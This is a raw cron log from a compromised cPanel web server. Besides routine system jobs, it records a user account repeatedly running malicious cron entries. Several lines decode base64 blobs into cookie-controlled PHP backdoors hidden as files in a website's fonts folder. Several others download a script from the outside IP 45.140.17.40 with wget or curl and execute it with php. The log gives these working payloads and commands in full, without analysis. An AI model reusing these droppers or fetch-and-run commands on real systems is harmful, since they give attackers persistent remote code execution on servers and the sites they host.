Sep  7 13:52:01 ip-184-168-122-23 CROND[6723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:52:01 ip-184-168-122-23 CROND[6722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:52:01 ip-184-168-122-23 CROND[6724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:52:01 ip-184-168-122-23 CROND[6726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:53:01 ip-184-168-122-23 CROND[6801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:53:01 ip-184-168-122-23 CROND[6803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:53:01 ip-184-168-122-23 CROND[6805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:53:01 ip-184-168-122-23 CROND[6804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:54:01 ip-184-168-122-23 CROND[6883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:54:01 ip-184-168-122-23 CROND[6886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:54:01 ip-184-168-122-23 CROND[6885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:54:01 ip-184-168-122-23 CROND[6887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:54:01 ip-184-168-122-23 CROND[6884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:55:01 ip-184-168-122-23 CROND[7053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:55:01 ip-184-168-122-23 CROND[7055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:55:01 ip-184-168-122-23 CROND[7058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:55:01 ip-184-168-122-23 CROND[7057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:55:01 ip-184-168-122-23 CROND[7059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:55:01 ip-184-168-122-23 CROND[7056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:56:01 ip-184-168-122-23 CROND[7139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:56:01 ip-184-168-122-23 CROND[7141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:56:01 ip-184-168-122-23 CROND[7140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:56:01 ip-184-168-122-23 CROND[7142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:56:01 ip-184-168-122-23 CROND[7143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:57:01 ip-184-168-122-23 CROND[7263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:57:01 ip-184-168-122-23 CROND[7265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:57:01 ip-184-168-122-23 CROND[7264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:57:01 ip-184-168-122-23 CROND[7266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:58:01 ip-184-168-122-23 CROND[7345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:58:01 ip-184-168-122-23 CROND[7347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:58:01 ip-184-168-122-23 CROND[7348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:58:01 ip-184-168-122-23 CROND[7350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:58:01 ip-184-168-122-23 CROND[7349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:59:01 ip-184-168-122-23 CROND[7425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:59:01 ip-184-168-122-23 CROND[7427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:59:01 ip-184-168-122-23 CROND[7428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:59:01 ip-184-168-122-23 CROND[7430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7601]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7612]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:00:02 ip-184-168-122-23 CROND[7610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:00:02 ip-184-168-122-23 CROND[7616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:00:02 ip-184-168-122-23 CROND[7613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:01:01 ip-184-168-122-23 CROND[7754]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:01:01 ip-184-168-122-23 CROND[7753]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 14:01:01 ip-184-168-122-23 CROND[7755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:01:01 ip-184-168-122-23 CROND[7756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:01:01 ip-184-168-122-23 CROND[7757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:01:01 ip-184-168-122-23 CROND[7759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7753]: starting 0anacron
Sep  7 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7774]: finished 0anacron
Sep  7 14:02:01 ip-184-168-122-23 CROND[7865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:02:01 ip-184-168-122-23 CROND[7866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:02:01 ip-184-168-122-23 CROND[7869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:02:01 ip-184-168-122-23 CROND[7870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:02:01 ip-184-168-122-23 CROND[7872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:03:01 ip-184-168-122-23 CROND[7950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:03:01 ip-184-168-122-23 CROND[7952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:03:01 ip-184-168-122-23 CROND[7954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:03:01 ip-184-168-122-23 CROND[7953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:04:01 ip-184-168-122-23 CROND[8050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
